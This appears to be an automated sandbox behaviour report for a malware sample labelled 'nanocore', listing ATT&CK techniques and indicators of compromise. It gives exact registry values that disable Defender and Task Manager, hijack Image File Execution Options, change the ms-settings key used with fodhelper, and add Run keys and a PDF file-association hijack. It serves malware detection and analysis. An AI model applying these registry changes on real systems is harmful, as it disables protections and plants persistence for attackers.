nanocore | fb10b76cb5820ca322bcc1cd24509c2960a545b4f7f3ed2642dac32c533b5b3b

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cretur.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5072	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cretur.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cretur.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cretur.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cretur.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cretur.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3424	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	cretur.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	cretur.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	cretur.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3140	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	cretur.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	cretur.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	cretur.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5876	wscript.exe
4912	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cretur.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cretur.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1344	sc.exe
4732	sc.exe
5720	sc.exe
4500	sc.exe
5372	sc.exe
3012	sc.exe
5788	sc.exe
4636	sc.exe
2100	sc.exe
5592	sc.exe
3732	sc.exe
6004	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2532	cmd.exe
3720	cmd.exe
4452	cmd.exe
4152	cmd.exe
4904	cmd.exe
4852	cmd.exe
3068	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3644	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4432	ipconfig.exe
3032	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3448	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1508	vssadmin.exe
1480	vssadmin.exe
2264	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\WallpaperStyle = "2"	cretur.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134314290484444121"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cretur.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings	cretur.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cretur.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command	cretur.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open	cretur.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	cretur.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cretur.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cretur.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell	cretur.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command	cretur.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell	cretur.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cretur.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings	cretur.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open	cretur.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe"	cretur.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cretur.io_chrome.exe\" \"%1\""	cretur.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
468	schtasks.exe
6112	schtasks.exe
2752	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2976	chrome.exe
2976	chrome.exe
5072	powershell.exe
5072	powershell.exe
5072	powershell.exe
5900	WMIC.exe
5900	WMIC.exe
5900	WMIC.exe
5900	WMIC.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
2396	WMIC.exe
2396	WMIC.exe
2396	WMIC.exe
2396	WMIC.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
2668	WMIC.exe
2668	WMIC.exe
2668	WMIC.exe
2668	WMIC.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe
4316	cretur.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4316	cretur.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeIncreaseQuotaPrivilege	5900	WMIC.exe
Token: SeSecurityPrivilege	5900	WMIC.exe
Token: SeTakeOwnershipPrivilege	5900	WMIC.exe
Token: SeLoadDriverPrivilege	5900	WMIC.exe
Token: SeSystemProfilePrivilege	5900	WMIC.exe
Token: SeSystemtimePrivilege	5900	WMIC.exe
Token: SeProfSingleProcessPrivilege	5900	WMIC.exe
Token: SeIncBasePriorityPrivilege	5900	WMIC.exe
Token: SeCreatePagefilePrivilege	5900	WMIC.exe
Token: SeBackupPrivilege	5900	WMIC.exe
Token: SeRestorePrivilege	5900	WMIC.exe
Token: SeShutdownPrivilege	5900	WMIC.exe
Token: SeDebugPrivilege	5900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5900	WMIC.exe
Token: SeRemoteShutdownPrivilege	5900	WMIC.exe
Token: SeUndockPrivilege	5900	WMIC.exe
Token: SeManageVolumePrivilege	5900	WMIC.exe
Token: 33	5900	WMIC.exe
Token: 34	5900	WMIC.exe
Token: 35	5900	WMIC.exe
Token: 36	5900	WMIC.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeIncreaseQuotaPrivilege	5900	WMIC.exe
Token: SeSecurityPrivilege	5900	WMIC.exe
Token: SeTakeOwnershipPrivilege	5900	WMIC.exe
Token: SeLoadDriverPrivilege	5900	WMIC.exe
Token: SeSystemProfilePrivilege	5900	WMIC.exe
Token: SeSystemtimePrivilege	5900	WMIC.exe
Token: SeProfSingleProcessPrivilege	5900	WMIC.exe
Token: SeIncBasePriorityPrivilege	5900	WMIC.exe
Token: SeCreatePagefilePrivilege	5900	WMIC.exe
Token: SeBackupPrivilege	5900	WMIC.exe
Token: SeRestorePrivilege	5900	WMIC.exe
Token: SeShutdownPrivilege	5900	WMIC.exe
Token: SeDebugPrivilege	5900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5900	WMIC.exe
Token: SeRemoteShutdownPrivilege	5900	WMIC.exe
Token: SeUndockPrivilege	5900	WMIC.exe
Token: SeManageVolumePrivilege	5900	WMIC.exe
Token: 33	5900	WMIC.exe
Token: 34	5900	WMIC.exe
Token: 35	5900	WMIC.exe
Token: 36	5900	WMIC.exe
Token: SeBackupPrivilege	3224	vssvc.exe
Token: SeRestorePrivilege	3224	vssvc.exe
Token: SeAuditPrivilege	3224	vssvc.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe
Token: SeShutdownPrivilege	2976	chrome.exe
Token: SeCreatePagefilePrivilege	2976	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe
2976	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4316	cretur.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4316 wrote to memory of 2976	4316	cretur.io_chrome.exe	89
PID 2976 wrote to memory of 4208	2976	chrome.exe	90
PID 4316 wrote to memory of 5072	4316	cretur.io_chrome.exe	91
PID 4316 wrote to memory of 5720	4316	cretur.io_chrome.exe	93
PID 2976 wrote to memory of 3704	2976	chrome.exe	95
PID 4316 wrote to memory of 4500	4316	cretur.io_chrome.exe	97
PID 2976 wrote to memory of 3644	2976	chrome.exe	96
PID 2976 wrote to memory of 3704	2976	chrome.exe	95
PID 2976 wrote to memory of 836	2976	chrome.exe	98
PID 2976 wrote to memory of 836	2976	chrome.exe	98
PID 2976 wrote to memory of 4524	2976	chrome.exe	101
PID 2976 wrote to memory of 4524	2976	chrome.exe	101
PID 2976 wrote to memory of 1076	2976	chrome.exe	102
PID 2976 wrote to memory of 1076	2976	chrome.exe	102
PID 4316 wrote to memory of 5372	4316	cretur.io_chrome.exe	103
PID 4316 wrote to memory of 5592	4316	cretur.io_chrome.exe	105
PID 2976 wrote to memory of 1440	2976	chrome.exe	108
PID 2976 wrote to memory of 1440	2976	chrome.exe	108
PID 4316 wrote to memory of 3012	4316	cretur.io_chrome.exe	107
PID 4316 wrote to memory of 5788	4316	cretur.io_chrome.exe	110
PID 2976 wrote to memory of 1572	2976	chrome.exe	111
PID 2976 wrote to memory of 1572	2976	chrome.exe	111
PID 4316 wrote to memory of 3732	4316	cretur.io_chrome.exe	113
PID 4316 wrote to memory of 4636	4316	cretur.io_chrome.exe	115
PID 4316 wrote to memory of 1188	4316	cretur.io_chrome.exe	117
PID 4316 wrote to memory of 6004	4316	cretur.io_chrome.exe	118
PID 4316 wrote to memory of 1344	4316	cretur.io_chrome.exe	120
PID 1188 wrote to memory of 2920	1188	fodhelper.exe	121
PID 4316 wrote to memory of 1508	4316	cretur.io_chrome.exe	123
PID 4316 wrote to memory of 5900	4316	cretur.io_chrome.exe	125
PID 4316 wrote to memory of 5876	4316	cretur.io_chrome.exe	132
PID 4316 wrote to memory of 6112	4316	cretur.io_chrome.exe	133
PID 4316 wrote to memory of 468	4316	cretur.io_chrome.exe	176
PID 4316 wrote to memory of 6008	4316	cretur.io_chrome.exe	139
PID 4316 wrote to memory of 4852	4316	cretur.io_chrome.exe	141
PID 4316 wrote to memory of 4904	4316	cretur.io_chrome.exe	142
